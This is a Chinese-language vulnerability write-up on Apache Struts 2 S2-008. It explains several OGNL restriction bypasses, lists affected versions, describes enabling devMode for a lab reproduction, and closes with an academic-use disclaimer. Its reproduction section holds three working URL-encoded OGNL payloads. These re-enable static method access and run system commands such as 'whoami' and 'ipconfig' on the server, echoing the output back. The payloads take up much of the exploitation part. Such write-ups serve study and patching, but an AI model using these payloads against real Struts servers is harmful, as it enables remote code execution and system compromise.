Struts 2 漏洞專題 | S2-008
漏洞簡介
為了防止攻擊者在引數內呼叫任意方法,預設情況下將標誌xwork.MethodAccessor.denyMethodExecution設定為true,並將SecurityMemberAccess欄位allowStaticMethodAccess設定為false。另外,為了防止訪問上下文變數,自Struts 2.2.1.1開始,在ParameterInterceptor中應用了針對引數名稱的改進字元白名單:acceptedParamNames = "[a-zA-Z0-9\.][()_']+";
在某些情況下,可以繞過這些限制以執行惡意Java程式碼。
1,在Struts <= 2.2.3中執行遠端命令(ExceptionDelegator)即S2-007
將引數值應用於屬性時發生異常時,該值將作為OGNL表示式求值。例如,在將字串值設定為整數屬性時會發生這種情況。由於未過濾值,因此攻擊者可以濫用OGNL語言的功能來執行任意Java程式碼,從而導致遠端命令執行。已報告此問題(https://issues.apache.org/jira/browse/WW-3668),該問題已在Struts 2.2.3.1中修復。但是,執行任意Java程式碼的能力已被忽略。
2,在Struts <= 2.3.1(CookieInterceptor)中執行遠端命令
引數名稱的字元白名單不適用於CookieInterceptor。將Struts配置為處理cookie名稱時,攻擊者可以執行對Java函式具有靜態方法訪問許可權的任意系統命令。因此,可以在請求中將標誌allowStaticMethodAccess設定為true。雖然cookiename沒有做特殊字元的限制,會被當作ognl程式碼執行。不過java的webserver(tomcat等)在cookiename中禁掉了很多非主流字元,該漏洞侷限性較大,危害較小。
3,Struts <= 2.3.1中的任意檔案覆蓋(ParameterInterceptor)
由於Struts 2.2.3.1禁止在引數內訪問標誌allowStaticMethodAccess,因此攻擊者仍然可以僅使用String型別的一個引數訪問公共建構函式以建立新的Java物件,並僅使用String型別的一個引數訪問其setter。例如,在建立和覆蓋任意檔案時可能會濫用此許可權。要將禁止的字元注入檔名,可以使用未初始化的字串屬性。
4,在Struts <= 2.3.17中遠端執行命令(DebuggingInterceptor)
儘管本身不是安全漏洞,但請注意,以開發人員模式執行並使用DebuggingInterceptor的應用程式也容易執行遠端命令。儘管應用程式在生產過程中絕不應在開發人員模式下執行,但開發人員應意識到,這樣做不僅會帶來效能問題(如文件所述),而且還會對安全性造成嚴重影響。
影響版本
Struts 2.0.0 - Struts 2.3.17
漏洞復現
環境準備
Windows 7 64bit(內含XAMPP)
★首先開啟xampp安裝目錄下的stryts.xml檔案,例如:C:\xampp\tomcat\webapps\struts2-showcase-2.1.6\WEB-INF\classes
,保證檔案內有如下語句:<constantname="struts.devMode" value="true" />
說明:
Struts2框架存在一個devmode模式,方便開發人員除錯程式,但是預設devmode是不開啟的,如果想要使用,需要手動修改引數。
任意檔案覆蓋POC
//利用方式尚且未知
exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%[email protected]@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]
遠端執行命令POC-1
debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
遠端執行命令POC-2(可直接回顯)
debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)
結果截圖
說明:本專題只為學術交流,請所有讀者切勿利用以上資源用於非法犯罪活動,有任何問題歡迎聯絡我的郵箱[email protected]。
部分文字性說明來源於網上資源,若有侵權請發郵件到[email protected]。